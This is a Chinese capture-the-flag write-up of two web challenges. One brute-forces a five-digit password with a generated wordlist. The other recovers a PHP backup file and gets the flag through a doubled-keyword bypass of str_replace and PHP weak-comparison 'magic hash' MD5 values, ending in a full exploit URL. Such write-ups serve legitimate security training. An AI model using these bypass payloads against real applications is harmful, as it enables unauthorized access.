好像需要密码

题目

得题;
得题;
根据提示,这是个数值爆破,理论上只需要按照数值进行爆破就行。
k题;
k题;
但是关键点在于这东西实在是太慢了……
简单写个python生成字典,字典的值是10000到99999的:

with open("1.txt","w") as file:
for i in range(10000,100000):
file.write(str(i)+'\n')

解题
将生成的字典载入进去进行爆破,没几分钟就得到了flag:
解题

总结

题型:数值爆破
技巧:先生成字典再进行爆破

备份是个好东西

题目

引入
引入
尝试使用md5解码
引入

对代码进行分析
引入

<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
// PHP ini_set用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置,对于虚拟空间来说,很方便。
$str = strstr($_SERVER['REQUEST_URI'], '?');
// 假设为:strstr('Hellod world!','world!');
// 查找 "world" 在 "Hello world!" 中是否存在,如果是,返回该字符串及后面剩余部分:
// 此处的意思是获取url的变量,例如:http://www.xxx.com?$a=1&$b=2,截取的是?$a=1&$b=2

$str = substr($str,1);
// substr(string,start,length)
// 注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
// 假如是上面的?$a=1&$b=2,截取掉前面的第一个字符串就变为:$a=1&$b=2

$str = str_replace('key','',$str);
// echo str_replace("world","Peter","Hello world!");
// 把字符串 "Hello world!" 中的字符 "world" 替换成 "Peter":
// 意思为:删除key字符串
// 绕过点1:变量删除
// 解决办法:变量复写为kkeyey

parse_str($str);
// parse_str() 函数把查询字符串解析到变量中。
// 注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。
// 注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。
// 说人话就是:将字符串解析为变量和值的关联数组

echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
// 当key1和key2的md5值相等时,得到flag
// 关键点2:找到俩个相同值的md5
echo $flag."取得flag";
}
?>

代码分析出来差不多是这样:

$str = str_replace('key','',$str);  // 变量双写绕过
md5($key1) == md5($key2) // 比较变量md5值是否相等
$key1 !== $key2 // 比较变量值是否相等

php常见弱类型

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

最终构造为:

http://114.67.175.224:17220/index.php?kkeyey1=s878926199a&kkeyey2=s155964671a

得到的flag:

0e5459932745177090343288558410200e342768416822451524974117254469flag{9b6949ecd5508a59495fab9b05a33bfe}鍙栧緱flag

flag

总结

index.php网站的备份文件:index.php.bak
php弱类型绕过
php str_replace 双写变量绕过